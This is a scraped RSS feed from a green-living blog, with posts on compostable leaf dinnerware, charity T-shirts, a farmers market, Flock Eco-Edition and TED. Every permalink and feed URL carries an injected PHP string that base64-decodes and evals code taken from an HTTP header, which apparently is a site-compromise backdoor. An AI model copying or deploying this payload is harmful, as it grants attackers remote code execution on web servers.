EcoInsomniac » Reviews http://www.ecoinsomniac.com An inspired change. Sat, 20 Jun 2009 19:12:49 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Beautiful biodegradable dishes made of pressed leaves http://www.ecoinsomniac.com/2008/12/11/beautiful-biodegradable-dishes-made-of-pressed-leaves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/12/11/beautiful-biodegradable-dishes-made-of-pressed-leaves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 12 Dec 2008 05:59:47 +0000 Jason http://www.ecoinsomniac.com/?p=373 verterra_square_plates3

Interesting title, eh? I wasn’t kidding either VerTerra has come out with some absolutely beautiful sustainable temporary dinnerware.  Let me explain how they’re made so you know just how eco-friendly and sustainable these things are.  Their fair-waged workers gather fallen palm leaves, steam and press the leaves into the molds, then the molded dinnerware is heated to set the shape.  That’s it then they’re packed up and sent for us to use them.  No dye, toxins or chemicals are used in these products at all.  They’re ready to be used and tossed in the compost pile with the rest of your veggie scrap.

This line of disposable plates and bowls only has one problem.  They’re way too pretty to toss out.  Don’t go putting them in the trash these things are 100% compostable dinnerware.  VerTerra designed these plates to bio-degrade in around 2 months once disposed of in the compost pile.  Beautiful dinnerware and no waste sounds like a heck of a deal.  The plates cost between 50 cents and a 1 dollar depending on the size, shape and quantity that you purchase.  You can buy them here at the VerTerra shop.  

Let me know what you think of them if you pick them up or if you’ve tried them before.  I’m going to order some for our next get together and when that happens I’ll get some pictures with some food on them.  I added some pics below for you to check out before you buy them.
Credit for the beautiful photography goes to: Theodore Samuels

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]]> http://www.ecoinsomniac.com/2008/12/11/beautiful-biodegradable-dishes-made-of-pressed-leaves/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 It’s time to be counted in the fight to stop climate change! http://www.ecoinsomniac.com/2008/12/11/its-time-to-be-counted-in-the-fight-to-stop-climate-change/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/12/11/its-time-to-be-counted-in-the-fight-to-stop-climate-change/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 12 Dec 2008 00:13:43 +0000 Jason http://www.ecoinsomniac.com/?p=363 We Add Up has come up with a great program to show the number of global participants in the fight to stop climate change. They use 100% organic tee shirts that are sweatshop free and made in the US to get the point across. Here is an example of one of the t-shirts they offer:

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When you order a shirt it is hand printed with the number that represents YOUR position in the world wide battle to stop climate change.  Not only that, but if you purchase this particular style shirt called “Plant Trees” WeAddUp.com will plant or save 10 trees in the Central American rainforest with the help of their partner Sustainable Harvest International.

Here is another example:

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If you purchase this shirt We Add Up will donate $1 to Green For All, which is working to lift families out of poverty by helping to build a green economy.  These two shirts are only a small example of the great products that We Add Up offers and I hope you make a trip over to see what else they offer.

The folks over at We Add Up are so excited and helpful that they issued us our own coupon so all our readers can get 10% off their order by putting in the coupon code: “ecoinsomniac“.  I hope to see pictures with you and your number soon! You’ll be seeing mine as soon as my shirt comes in.

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]]> http://www.ecoinsomniac.com/2008/12/11/its-time-to-be-counted-in-the-fight-to-stop-climate-change/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 3 Some of my favorite Green Blogs. http://www.ecoinsomniac.com/2008/09/27/some-of-my-favorite-green-blogs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/09/27/some-of-my-favorite-green-blogs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 28 Sep 2008 04:56:00 +0000 Jason http://www.ecoinsomniac.com/?p=168 I pull inspiration from many different sources and while my blog posting has severely slowed down to nearly a halt others have kept up the pace and continued to provide readers with awesome posts to inform and entertain.  I’ve been reading quite a few blogs lately to get myself back into the swing of things.  Here are a few of my favorites:

Autobloggreen.com – I am a car lover through and through so autobloggreen.com gives me the best of both of my worlds.

Treehugger.com – This is a give me and I’m sure most of you who read this have been to Treehugger.com they offer a great assortment of bloggers who provide amazing stories and posts for us to enjoy.  They’re owned by Discovery and use the resources provided to them to bring stories to Treehugger that I could only wish to offer.

GreenDaily.com – Is another big name blog that I love to read.  They’ve always got something new to say and the writers are great.

EarthandEconomy.com – Is really more of an aggrogator of green blogs, but really puts it together in a very readable way so that I can quickly and easily determine which articles could be worth my time.  The fact that they hand pick the articles that show up means that most of the reading is worth anywhere from a glance to a full read.  (Though none of my articles have managed their way on to the site *wink wink*)

I read many more sites and would love to share them with the rest of you, but that’s for another time.  If you have any favorite green sites please do share them with me by emailing me or commenting below.

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]]> http://www.ecoinsomniac.com/2008/09/27/some-of-my-favorite-green-blogs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 Planet Green TV is my new favorite place http://www.ecoinsomniac.com/2008/06/11/planet-green-tv-is-my-new-favorite-place/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/06/11/planet-green-tv-is-my-new-favorite-place/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 11 Jun 2008 18:55:12 +0000 Jason http://www.ecoinsomniac.com/?p=161 The other day I wrote about Planet Green coming to TV’s near you and said that I’d get back with my views on the channel.  Well, as you can tell I haven’t been around for a few days because I’ve been watching the channel the whole time.  I’m kidding of course, but I love the new channel and when my TV is on if it’s not on Science Channel for “How it’s made” then it’s on Planet Green. 

I haven’t felt any disappointment for any of the shows as of yet.  It gets a little repetitive having so many green your house type shows, but I think they explain stuff at different levels on different shows.  They promised no preaching about “Green” and so far they haven’t been preachy just informative which is fresh and quite awesome. 

I’m learning quite a lot about products and ways to go green that I’d yet to think of.  Have you had a chance to watch Planet Green? What do you think?

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]]> http://www.ecoinsomniac.com/2008/06/11/planet-green-tv-is-my-new-favorite-place/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 5 My trip to the Farmers Market today http://www.ecoinsomniac.com/2008/05/20/my-trip-to-the-farmers-market-today/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/05/20/my-trip-to-the-farmers-market-today/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 20 May 2008 22:35:00 +0000 Jason http://www.ecoinsomniac.com/?p=142 Farmer's Market HaulToday I took a short trip to the bi-weekly farmer’s market to check out what kind of fresh local produce I could find.  I’d never been to this particular market which sets up at Grady’s BBQ on Bandera Rd.  After talking a bit with the farmer who’s name is escaping me at the momentI decided to buy some black berries, tomatoes and a yummy seedless watermelon.

We’ll be having a couple of the tomatoes in our dinner tonight and I’ve already snacked on some of the black berries.  The total cost for this healthy haul was $9 and all of it went right into the farmers wooden cash drawer.  That was quite a good feeling to actually meet the farmer and put cash directly in his hand instead of a checker at Wal-mart or some other super store.   If you live in San Antonio on the northwest side around Marshall High School area I’d say when you get the chance.  It’s open from 9am – 2pm on Tuesday and Friday only.   If you don’t live in San Antonio visit this farmer’s market directory for locations all over the US.

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]]> http://www.ecoinsomniac.com/2008/05/20/my-trip-to-the-farmers-market-today/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 5 Friday night eco-week roundup http://www.ecoinsomniac.com/2008/04/25/friday-night-eco-week-roundup/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/04/25/friday-night-eco-week-roundup/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 26 Apr 2008 03:35:04 +0000 Jason http://www.ecoinsomniac.com/?p=118 Green Living:
 Anna at Green Talk posted a great article on using organic mechanic potting soil which is all organic material like worm poop and rich compost soil.

A. Caleb runs Environmentastic introduced a guest poster named Joe Bauer who’s an environmentalist and really into wildflowers. He’s posted a great article about wildflowers in the Great Lakes area . He will be posting more about wildflowers and general gardening tips for the Great Lakes region of the US.

Reuse:
 Chezlin published a great walk through on how she took post consumer waste paper and made her own paper . I can’t wait to see what she creates with the paper she made.

Recycle Cindy celebrated Earth Day by releasing a pattern so readers can create their own green tote bag out of crochetted grocery bags.

Technology:
 Richard T. Stuebi a wrote for the Cleantech Blog about a new type of Lithium-ion battery created by a company called Altairnano . Altairnano has some huge claims for its battery stating that it can be fully charged in 10 minutes and provide a 250 mile range in a vehicle. Richard goes in to some pretty good detail about the technology and what it could mean for us in the future.

In case you missed it on my blog some how Flock released their Eco Browser on Earth Day.

Transportation:
 Clayton B. Cornell at Gas 2.0 has lifted my hopes about clean cars coming to the United States. He says Th!nk City will be bring affordable electric cars with a range of 110 miles per charge to the US in 2009.

If you know of any more great green things that have been talked about on the web this week from April 21-25 leave them in the comments or send me an email with links and I’ll check it out and may even add it to the roundup.

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]]> http://www.ecoinsomniac.com/2008/04/25/friday-night-eco-week-roundup/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 4 Flock Eco-Edition has been released and is awesome. http://www.ecoinsomniac.com/2008/04/24/flock-eco-edition-has-been-released-and-is-awesome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/04/24/flock-eco-edition-has-been-released-and-is-awesome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 24 Apr 2008 08:14:14 +0000 Jason http://www.ecoinsomniac.com/2008/04/24/flock-eco-edition-has-been-released-and-is-awesome/ The other day I wrote a post about Flock Eco-Edition being released on Earth Day and then on Earth Day I wrote that it had been released . Why am I talking about it again? Because I have been using it now for all my blogging and topic research since Tuesday 12:08am CST and I love it.

Flock Eco Edition I’ve discovered many new green blogs, directories, and websites through Flock Eco-Edition that I never knew existed. The developers put a lot of thought and time into developing this application to provide as much knowledge to the user at first glance as possible. It is truly amazing just how much they were able to fit in while still keeping the design functional and good looking. The media bar is an amazing feature that allows you to import media streams like the latest earth day videos from youtube for example and once you import the stream all the videos appear as thumbnails in the media bar that drops down below your main tool bar.

Flock allows you to stay connected with friends across many social networks as you surf the web looking for whatever you’re looking for. I believe that because of the community features that Flock has built in to the Eco Edition and the regular Flock browser surfing the web can be a completely different experience. At the end of the year Flock will be putting up a poll and allowing the community to choose which environmental charity will be receiving 10% of Flock Eco Editions search proceeds.

Have you downloaded Flock Eco Edition yet? I’d love to hear your experiences with it and why you like it or do not like it. Leave me a comment and discuss your favorite features.

Blogged with the Flock Browser

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]]> http://www.ecoinsomniac.com/2008/04/24/flock-eco-edition-has-been-released-and-is-awesome/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 3 Review: The Ovum Factor by Marvin L. Zimmerman http://www.ecoinsomniac.com/2008/04/23/review-the-ovum-factor-by-marvin-l-zimmerman/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/04/23/review-the-ovum-factor-by-marvin-l-zimmerman/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 23 Apr 2008 17:18:48 +0000 Jason http://www.ecoinsomniac.com/?p=110 Sadly, I don’t get much of a chance to sit and read these days, but despite my schedule I was finally able to sit down and enjoy Mr. Zimmerman’s novel The Ovum Factor . I absolutely enjoyed the book and my only regret was I started reading it at 2 am and didn’t put it down until about 6 am with my mind wandering in and out of the storyline just to pick it up later the next day. He really has a way of bringing you into the main character David Rose’s journey.

Before this book I had no idea the genre "Eco-thriller" existed and now I’m glad I know. To express the urgency of our environmental issues through fiction as well written as this book is a great way to increase awareness to the masses. I eagerly await to see what Mr. Zimmerman comes up with in his next novel.

Since I’m not such a great book critic I found a couple more in depth reviews you may enjoy by Eco-Libris and BookPleasures . Also, Rebecca at her blog the Paperback Writer was lucky enough to score an interview .

Disclaimer: This book was sent to me free of charge by the Mr. Zimmerman’s publicist Phenix & Phenix. This is no way swayed the review or even forced me to write the review. I am no book critic as you can no doubt tell, but I really believe this book is worth picking up and giving it a read.

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]]> http://www.ecoinsomniac.com/2008/04/23/review-the-ovum-factor-by-marvin-l-zimmerman/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 One-of-a-kind reusable SIGG water bottles being auctioned off. http://www.ecoinsomniac.com/2008/04/19/one-of-a-kind-reusable-sigg-water-bottles-being-auctioned-off/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/04/19/one-of-a-kind-reusable-sigg-water-bottles-being-auctioned-off/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 19 Apr 2008 22:40:34 +0000 Jason http://www.ecoinsomniac.com/?p=107 Elle magazine has teamed up with Laurie David and some of the biggest names in the fashion industry to raise money to help fight global warming through Laurie David’s StopGlobalWarming.org . The auction which will be ending on April 24th, 2008 is being held online at Ebay.com of course. With 100% of the proceeds going to StopGlobalWarming.org I couldn’t help but spread the love to these awesome SIGG reusable water bottles. You can view the individual auctions by clicking on the name of the designer below or by going to a list Elle-for-charity’s auction items .

Some awesome looking designs and I’ve heard nothing but great things about SIGG water bottles. They keep a close eye on how they’re manufactured and where the materials come from so they can insure that you get the best and safest reusable water bottles around. I will probably be bidding on the Zac Posen piece I need a nice water bottle.

Source: Elle Magazine via Chezlin
 Great place to buy SIGG reusable water bottles:UpsideOver.com

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]]> http://www.ecoinsomniac.com/2008/04/19/one-of-a-kind-reusable-sigg-water-bottles-being-auctioned-off/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Show for the kids: Meet the Greens http://www.ecoinsomniac.com/2008/04/13/meet-the-greens/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/04/13/meet-the-greens/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 13 Apr 2008 14:30:13 +0000 Jason http://www.ecoinsomniac.com/?p=98 This is a great way to introduce some eco-friendly ideas to children in the form of short animations. I hope you enjoy them I think children will. Some are kinda cheesy, but I’m not in the shows age range anymore unfortunately. If you know of others please by all means share them with me the young people in the world are the ones who need to see what’s going on how they can fix it they’re a very persuasive and powerful group.

Meet the Greens

From the site:

THE GREENS: a cool kids’ site about looking after the planet @ MeetTheGreens.org

THE GREENS: a cool kids’ site about looking after the planet. MeetTheGreens.org is produced by the award-winning kids team at WGBH Interactive in Boston.

MeetTheGreens.org is a new kids’ guide to looking after the planet. Kids can watch THE GREENS’ cartoon adventures and discover related green games, news, downloads, a blog, action tips, links, and much more. This innovative, Web-only project comes from WGBH in Boston, the producer of shows like ZOOM, ARTHUR, Frontline & NOVA.

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]]> http://www.ecoinsomniac.com/2008/04/13/meet-the-greens/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 TED2008 Conference http://www.ecoinsomniac.com/2008/02/29/ted-conference-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.ecoinsomniac.com/2008/02/29/ted-conference-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 01 Mar 2008 01:26:06 +0000 Jason http://www.ecoinsomniac.com/archives/4 The TED conference for those of you who haven’t heard of it is an amazing collection of the worlds greatest thinkers and doers.  They all converge on Monterey, California and discuss the future and challenging questions of the world.  I’ve only been privileged to watch the conference through their extremely entertaining website www.TED.com where they share videos of speakers dating back to 2002.   If you’d like to follow the current happenings at TED2008 check out http://blog.ted.com.TED has changed my life and opened my eyes to things that could, should and have to change in the world.  Thanks to TED this site was born and I hope to be able to put some of the knowledge, passion and enthusiasm that TED has brewed in me to others while we help in the efforts to make some change in this world of ours.

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